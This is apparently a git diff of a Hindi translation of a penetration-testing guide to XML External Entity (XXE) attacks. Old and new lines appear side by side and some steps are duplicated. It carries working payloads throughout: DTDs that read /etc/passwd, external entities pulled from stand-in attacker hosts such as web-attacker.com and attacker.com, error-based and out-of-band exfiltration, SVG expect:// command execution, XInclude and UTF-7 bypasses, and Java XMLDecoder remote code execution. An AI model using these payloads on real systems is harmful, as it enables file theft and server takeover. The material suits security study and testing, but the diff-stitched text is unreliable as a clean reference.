एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, को एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके ट्रिगर किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
|
||||
|
||||
1. एक XML पैरामीटर एंटिटी `file` को परिभाषित किया गया है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
|
||||
2. एक XML पैरामीटर एंटिटी `eval` को परिभाषित किया गया है, जिसमें `error` नामक एक अन्य XML पैरामीटर एंटिटी के लिए एक गतिशील घोषणा शामिल है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
|
||||
2. एक XML पैरामीटर एंटिटी `eval` को परिभाषित किया गया है, जो एक अन्य XML पैरामीटर एंटिटी `error` के लिए एक गतिशील घोषणा को शामिल करता है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
|
||||
3. `eval` एंटिटी को बुलाया जाता है, जिससे `error` एंटिटी की गतिशील घोषणा होती है।
|
||||
4. `error` एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास का परिणाम होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है।
|
||||
|
||||
@ -140,19 +140,19 @@ The steps executed by this DTD include:
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
जब निष्पादन किया जाता है, तो वेब सर्वर की प्रतिक्रिया में `/etc/passwd` फ़ाइल की सामग्री दिखाने वाला एक त्रुटि संदेश शामिल होना चाहिए।
|
||||
जब निष्पादन किया जाता है, तो वेब सर्वर की प्रतिक्रिया में `/etc/passwd` फ़ाइल की सामग्री प्रदर्शित करने वाला एक त्रुटि संदेश शामिल होना चाहिए।
|
||||
|
||||
.png>)
|
||||
|
||||
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना त्रुटि को मजबूर नहीं कर सकते (आमतौर पर)।**_
|
||||
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना (आमतौर पर) एक त्रुटि को मजबूर नहीं कर सकते।**_
|
||||
|
||||
### **त्रुटि आधारित (सिस्टम DTD)**
|
||||
|
||||
तो जब **आउट-ऑफ-बैंड इंटरैक्शन अवरुद्ध होते हैं** (बाहरी कनेक्शन उपलब्ध नहीं होते) तो अंधे XXE कमजोरियों के बारे में क्या?
|
||||
|
||||
XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जिसे मूल रूप से एक बाहरी DTD में घोषित किया गया था, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी को उजागर करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है।
|
||||
XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जिसे मूल रूप से एक बाहरी DTD में घोषित किया गया था, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी प्रकट करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है।
|
||||
|
||||
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके `/etc/passwd` फ़ाइल की सामग्री को उजागर करने वाली XML पार्सिंग त्रुटि उत्पन्न कर सकता है:
|
||||
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके XML पार्सिंग त्रुटि उत्पन्न कर सकता है जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करता है:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -168,8 +168,8 @@ XML भाषा विनिर्देशन में एक छिद्र
|
||||
The outlined steps are executed by this DTD:
|
||||
|
||||
- एक XML पैरामीटर एंटिटी `local_dtd` की परिभाषा सर्वर की फाइल सिस्टम पर स्थित बाहरी DTD फ़ाइल को शामिल करती है।
|
||||
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे मूल रूप से बाहरी DTD में परिभाषित किया गया था, ताकि एक [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
|
||||
- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` शामिल है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले के लिए लक्षित किया गया है।
|
||||
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे बाहरी DTD में मूल रूप से परिभाषित किया गया था, ताकि एक [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
|
||||
- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` को शामिल किया जाता है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले के लिए लक्षित किया गया है।
|
||||
|
||||
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाले सिस्टम अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD रखते हैं जिसमें `ISOamso` नामक एक एंटिटी होती है।
|
||||
```xml
|
||||
@ -188,7 +188,7 @@ The outlined steps are executed by this DTD:
|
||||
```
|
||||
.png>)
|
||||
|
||||
चूंकि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा**। आप यह **इंस्टॉल करके** कर सकते हैं कि सर्वर कौन सा **OS / सॉफ़्टवेयर** उपयोग कर रहा है और **कुछ डिफ़ॉल्ट DTDs** की खोज कर सकते हैं, या **सिस्टम के अंदर डिफ़ॉल्ट DTDs** की एक सूची **इकट्ठा** कर सकते हैं और **जांच** कर सकते हैं कि क्या इनमें से कोई भी मौजूद है:
|
||||
चूंकि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा**। आप यह **इंस्टॉल करके** कर सकते हैं कि सर्वर कौन सा **OS / सॉफ़्टवेयर** उपयोग कर रहा है और **कुछ डिफ़ॉल्ट DTDs** की खोज कर सकते हैं, या **सिस्टम के अंदर डिफ़ॉल्ट DTDs** की एक सूची **लेकर** और **जांच** कर सकते हैं कि क्या उनमें से कोई मौजूद है:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -205,7 +205,7 @@ The outlined steps are executed by this DTD:
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम का Docker इमेज** है, तो आप उसी repo के टूल का उपयोग करके **इमेज** को **स्कैन** कर सकते हैं और **सिस्टम के अंदर मौजूद DTDs** का पथ **खोज** सकते हैं। जानने के लिए [github का Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
|
||||
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम की Docker छवि** है, तो आप उसी repo के टूल का उपयोग करके **छवि** को **स्कैन** कर सकते हैं और **सिस्टम के अंदर मौजूद DTDs** के पथ को **खोज** सकते हैं। जानने के लिए [github का Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -231,7 +231,7 @@ Testing 0 entities : []
|
||||
|
||||
अंत में, फ़ाइल को ज़िप किया जा सकता है ताकि दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सके। पहले से बनाई गई "unzipped" निर्देशिका से, निम्नलिखित कमांड चलाया जाना चाहिए:
|
||||
|
||||
अब, बनाई गई फ़ाइल को संभावित रूप से संवेदनशील वेब अनुप्रयोग में अपलोड किया जा सकता है, और एक अनुरोध के Burp Collaborator लॉग में दिखाई देने की उम्मीद की जा सकती है।
|
||||
अब, बनाई गई फ़ाइल को संभावित रूप से कमजोर वेब अनुप्रयोग में अपलोड किया जा सकता है, और एक अनुरोध के Burp Collaborator लॉग में दिखाई देने की उम्मीद की जा सकती है।
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
@ -241,23 +241,23 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँचने में **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [सिस्टम DTD फ़ाइलों के दुरुपयोग के तरीके के लिए इस अनुभाग की जाँच करें](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँचने में **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [इस अनुभाग को देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे करें](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
|
||||
|
||||
PKZIP संग्रह के भीतर किसी फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
|
||||
PKZIP संग्रह के भीतर एक फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
|
||||
|
||||
1. एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे `https://download.website.com/archive.zip`.
|
||||
1. एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे `https://download.website.com/archive.zip`।
|
||||
2. HTTP प्रतिक्रिया जिसमें संग्रह होता है, अस्थायी रूप से सिस्टम पर संग्रहीत की जाती है, आमतौर पर `/tmp/...` जैसे स्थान पर।
|
||||
3. फिर संग्रह को इसके सामग्री तक पहुँचने के लिए निकाला जाता है।
|
||||
4. संग्रह के भीतर विशिष्ट फ़ाइल, `file.zip`, को पढ़ा जाता है।
|
||||
5. ऑपरेशन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
|
||||
5. संचालन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
|
||||
|
||||
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। इस उद्देश्य के लिए [इस भंडार](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
|
||||
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। [इस रिपॉजिटरी](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग इस उद्देश्य के लिए किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> अस्थायी निर्देशिका में फ़ाइलें लिखना **पथ यात्रा** से संबंधित एक और भेद्यता को **बढ़ाने** में मदद कर सकता है (जैसे स्थानीय फ़ाइल शामिल करना, टेम्पलेट इंजेक्शन, XSLT RCE, डेसिरियलाइजेशन, आदि)।
|
||||
> अस्थायी निर्देशिका में फ़ाइलें लिखना **पथ यात्रा** से संबंधित एक अन्य भेद्यता को **बढ़ाने** में मदद कर सकता है (जैसे स्थानीय फ़ाइल शामिल करना, टेम्पलेट इंजेक्शन, XSLT RCE, डेसिरियलाइजेशन, आदि)।
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -310,9 +310,9 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके।
|
||||
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेज़ों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके।
|
||||
|
||||
`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस तरह के हमले को कैसे तैयार किया जा सकता है:
|
||||
`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण है कि इस तरह के हमले को कैसे तैयार किया जा सकता है:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -324,11 +324,11 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की चित्र प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए उपयोग किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
|
||||
|
||||
ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है:
|
||||
ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र प्रणाली फ़ाइलों को पढ़ने का प्रयास करता है:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
एक और विधि में PHP "expect" wrapper के माध्यम से **कमांड्स को निष्पादित करने** का प्रयास करना शामिल है:
|
||||
एक और विधि में PHP "expect" wrapper के माध्यम से **आदेशों को निष्पादित करने** का प्रयास करना शामिल है:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
यह केवल तभी काम करेगा जब XML सर्वर `data://` प्रोटोकॉल को स्वीकार करे।
|
||||
यह केवल तभी काम करेगा जब XML सर्वर `data://` प्रोटोकॉल को स्वीकार करता है।
|
||||
|
||||
### UTF-7
|
||||
|
||||
आप यहाँ \[**"Encode Recipe**" of cyberchef]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) का उपयोग करके UTF-7 में परिवर्तित कर सकते हैं।
|
||||
आप यहाँ \[**"Encode Recipe**" of cyberchef]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) का उपयोग करके UTF-7 में परिवर्तित कर सकते हैं।
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -429,7 +429,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML Entities
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) से ट्रिक\
|
||||
आप एक **entity के अंदर एक entity** बना सकते हैं, इसे **html entities** के साथ एन्कोड करके और फिर इसे **dtd लोड** करने के लिए कॉल कर सकते हैं।\
|
||||
आप एक **entity inside an entity** बना सकते हैं, इसे **html entities** के साथ एन्कोड करके और फिर इसे **dtd लोड** करने के लिए कॉल कर सकते हैं।\
|
||||
ध्यान दें कि उपयोग की गई **HTML Entities** **संख्यात्मक** होनी चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -502,7 +502,7 @@ Content-Type: application/x-xliff+xml
|
||||
```
|
||||
हालांकि त्रुटि है, एक हिट बर्प सहयोगी पर दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है।
|
||||
|
||||
Out of Band Data Exfiltration डेटा को एक्सफिल्ट्रेट करने के लिए, एक संशोधित अनुरोध भेजा जाता है:
|
||||
Out of Band Data Exfiltration डेटा को निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस संस्करण के Java के साथ एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों को पुनः प्राप्त करने में असमर्थ है, जैसे कि /etc/passwd।
|
||||
यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस Java संस्करण की एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों, जैसे /etc/passwd, को पुनः प्राप्त करने में असमर्थ है।
|
||||
|
||||
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करता है जिसमें लक्षित फ़ाइल से डेटा शामिल होता है:
|
||||
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करे जिसमें लक्षित फ़ाइल से डेटा शामिल हो:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -609,7 +609,7 @@ PHP base64 फ़िल्टर का उपयोग करना
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाती है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाने डेटा का उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा।
|
||||
XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाती है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाना डेटा उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा।
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -684,12 +684,12 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
|
||||
|
||||
> [!INFO]
|
||||
> Python लाइब्रेरी **lxml** के पीछे **libxml2** का उपयोग होता है। **lxml 5.4.0 / libxml2 2.13.8** से पहले के संस्करण *parameter* entities को तब भी विस्तारित करते हैं जब `resolve_entities=False` हो, जिससे वे तब पहुंच योग्य होते हैं जब एप्लिकेशन `load_dtd=True` और/या `resolve_entities=True` सक्षम करता है। यह Error-Based XXE payloads को अनुमति देता है जो स्थानीय फ़ाइलों की सामग्री को पार्सर त्रुटि संदेश में एम्बेड करते हैं।
|
||||
> Python लाइब्रेरी **lxml** के पीछे **libxml2** का उपयोग होता है। **lxml 5.4.0 / libxml2 2.13.8** से पहले के संस्करण *parameter* entities को तब भी विस्तारित करते हैं जब `resolve_entities=False` हो, जिससे वे तब भी पहुंच योग्य होते हैं जब एप्लिकेशन `load_dtd=True` और/या `resolve_entities=True` सक्षम करता है। यह Error-Based XXE payloads को अनुमति देता है जो स्थानीय फ़ाइलों की सामग्री को पार्सर त्रुटि संदेश में एम्बेड करते हैं।
|
||||
|
||||
#### 1. lxml < 5.4.0 का शोषण करना
|
||||
1. एक *स्थानीय* DTD की पहचान करें या उसे डिस्क पर बनाएं जो एक **undefined** parameter entity को परिभाषित करता है (जैसे `%config_hex;`)।
|
||||
2. एक आंतरिक DTD तैयार करें जो:
|
||||
